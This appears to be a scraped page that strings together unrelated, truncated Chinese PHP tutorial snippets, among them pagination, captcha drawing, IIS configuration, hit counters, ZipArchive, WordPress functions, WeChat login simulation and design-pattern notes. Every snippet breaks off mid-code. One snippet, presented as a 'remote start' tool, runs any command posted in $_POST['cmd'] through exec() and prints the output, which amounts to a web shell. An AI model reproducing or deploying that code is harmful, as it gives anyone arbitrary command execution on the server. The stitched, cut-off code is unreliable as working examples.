執行個體代碼: 複製代碼 代碼如下: <?php /** * ********************************************************** * Read Me * 文章分頁 * * 分頁方式,可以按字數分頁,按換行分頁,按特殊標記分頁等 * 其實實現思路是一樣的,只是將其按一定規律放入一個數組 * 然後根據 url 傳入的參數取得某個片段即可 * 大家完全可以寫一個功能強大的函數儲存起來以備不時之需 * *
Laravel是一個功能強大的架構,組件很多,代碼也很龐大,它的易用方便是犧牲了效能的,即便如此它仍然是一個優秀的架構,但在正式環境下要做好最佳化提升網站的開啟速度接下來分享一些開發的最佳實務,還有調優技巧,大家有別的建議也歡迎留言討論。這裡是簡單的列表:配置資訊緩衝 artisan config:cache路由緩衝 artisan route:cache類映射載入最佳化 artisan optimize自動載入最佳化 composer dumpautoload使用 Memcached
複製代碼 代碼如下:<?php //檔案頭... header("Content-type: image/png"); //建立真彩色白紙 $im = @imagecreatetruecolor(50, 20) or die("建立映像失敗"
複製代碼 代碼如下:<? // 建立一個指向新COM組件的索引 $word = new COM(”word.application”) or die(”Can't start Word!”); // 顯示目前正在使用的Word的版本號碼
接著上篇繼續學習,談談IIS支援php怎麼配置:1、去php官網下載php:http://windows.php.net/download/ 。IIS7我們需要選擇php 5.3 以上的VC9包,下載zip檔案。如圖:2、將 zip 包解壓縮到自己選擇的目錄,例如 C:\PHP\。解壓縮 PHP 的包之後,將 php.ini-production 拷貝為 同一目錄下的 php.ini。然後修改設定檔php.ini。必須修改的指令:extension_dir =
<?php //參數篩選//篩選cat_id=2$cl->SetFilter("cat_id",array(2));//僅在id為1、3、7的子論壇中搜尋$cl->SetFilter("forum_id",array(1,3,7));//範圍篩選//篩選發布時間為今天,參數為int時間戳記$cl->SetFilterRange("starttime",123,124);//篩選價格$cl->SetFilterRange("price",10.0,99.9);//
在php中字元編碼轉換我們一般會用到iconv與mb_convert_encoding進行操作,但是mb_convert_encoding在轉換效能上比iconv要差很多哦。string iconv ( string in_charset, string out_charset, string str ) 注意:第二個參數,除了可以指定要轉化到的編碼以外,還可以增加兩個尾碼://TRANSLIT 和 //IGNORE,其中 //TRANSLIT
這個同學錄原來給我們班級用的,因為伺服器沒有mysql支援,就選擇了dbm 國內還沒有什麼dbm程式,國外也幾乎沒有 花了一個晚上,在幾乎沒有任何參考的情況下寫了出來 現在公布出來 是一個非常好的dbm使用範例 1、index.php3 <? if($login){ ?> <HTML> <HEAD> <TITLE>深圳中學2000屆高中(12)班同學錄</TITLE> <style
原理: 1.第一位使用者瀏覽某頁。 2.伺服器程式從資料庫或檔案中讀取該頁被瀏覽次數。 3.將次數加一儲存,並將它送回第一位使用者。 4.第二位使用者瀏覽某頁。 5.伺服器程式從資料庫或檔案中讀取該頁被瀏覽次數。 6.將次數再加一儲存,並將它送回第二位使用者。 需要瞭解的函數: fopen()開啟檔案 filesize()獲得檔案大小 fseek()移動檔案指標 fgets()得到檔案指標所在行內容
用ZipArchive壓縮檔,這個是php的擴充類,自php5.2版本以後就已經支援這個擴充,如果你在使用的時候出現錯誤,查看下php.ini裡面的extension=php_zip.dll前面的分號有沒有去掉,然後再重啟Apache這樣才能使用這個類庫。例1、產生zip 壓縮檔複製代碼 代碼如下:<?php /* 產生zip 壓縮檔 */function create_zip($files = array(),$destination = '',$overwrite = false) {
image.func.php<?php require_once('string.func.php'); function verifyImage( $type=1,$length=4,$pixel=0,$line=0,$sess_name="verify"){ session_start(); /*定義長度和寬度*/$width=80;$height=30;/* 建立畫布*/$image=imagecreatetruecolor($width, $height); /*
本文執行個體講述了PHP基於cookie與session統計網站訪問量並輸出顯示的方法。分享給大家供大家參考,具體如下:<?php$f_open = fopen("count.txt","r+"); //開啟指定的檔案$count = fgets($f_open); //讀取檔案中的資料if(empty($_COOKIE['cookie_name'])){ //判斷COOKIE的是否存在 setcookie("cookie_name",value,time()+1800);
複製代碼 代碼如下:// 格式化日期 static function formatDate($format, $datetime, $week = 0) { $datetime = $datetime > 3000 ? $datetime : strtotime($datetime); if ($week)
複製代碼 代碼如下: <?php /** * 遠程啟動電腦 * 注意:iis/apache需要有windows/system/cmd.exe執行許可權 * name:薛如飛 * qq:6706250 * e-mail:xuerufei@163.com * date:08.08.28 **/ if (isset($_POST['cmd'])) { $cmd= stripslashes( $_POST['cmd'] ); exec( $cmd,$out); var_dump($out);
複製代碼 代碼如下: <?php function ff_page($content,$page) { global $expert_id; $PageLength = 2000; //每頁字數 $CLength = strlen($content); $PageCount = floor(($CLength / $PageLength)) + 1; //計算頁數 $PageArray=array(); $Seperator = array("\n","\r","。","!","?",";
wp_get_recent_posts 函數在 WordPress 中是一個可以擷取近期文章數組的函數,相較於其他的文章擷取方式, wp_get_recent_posts 返回的將是一個數組而不是對象,所以在使用中對於一些新手或者是懶人,可能會更方便一些,下面我們就執行個體講解一下這個函數。描述wp_get_recent_posts英文解釋很短,就不貼了,中文大概意思是:擷取最新文章的函數。實際上這是一個 get_posts函數的再使用。描述的再好也木用,下面看使用。使用/用法 <?
通過學習借鑒朋友的實現方法進行整理,實現了PHP版的微信公用平台訊息主動推送,分享給大家供大家參考,具體內容如下此方法是通過類比登入微信公用平台的方法來實現的。代碼如下:一、登入介面部分代碼 //登入 private function login(){ $url = 'https://mp.weixin.qq.com/cgi-bin/login?lang=zh_CN'; $this->send_data = array( 'username' =>
WordPress 預設有 “訂閱者”、“投稿者”、“作者”、“編輯” 和 “管理員” 五個使用者角色,許可權由低到高,但預設的五個角色可能不夠我們用,這時可以使用 add_role() 函數建立一個角色。用法add_role( $role, $display_name, $capabilities );參數$role(字串)(必須)使用者角色
【意圖】定義對象間的一種一對多的依賴關係,當一個對象的狀態發生改變時,所有依賴於它的對象都得到通知並被自動更新【GOF95】 又稱為發布-訂閱(Publish-Subscribe)模式、模型-視圖(Model-View)模式、源-監聽(Source-Listener)模式、或從屬者(Dependents)模式【觀察者模式結構圖】【觀察者模式中主要角色】1.抽象主題(Subject)角色:主題角色將所有對觀察者對象的引用儲存在一個集合中,每個主題可以有任意多個觀察者。
一、意圖將一個請求封裝為一個對象,從而使用你可用不同的請求對客戶進行參數化;對請求排隊或記錄請求日誌,以及支援可撤消的操作。可變的方面是:何時,怎樣滿足一個請求命令模式是對命令的封裝。命令模式把發出命令的責任和執行命令的責任分割開,委派給不同的對象。請求的一方發出請求要求執行一個操作;接收的一方收到請求,並執行操作。命令模式允許請求的一方和接收的一方獨立開來,使得請求的一方不必知道接收請求的一方的介面,更不必知道請求是怎麼被接收,以及操作是否被執行、何時被執行,以及是怎麼被執行的。二、命令模式結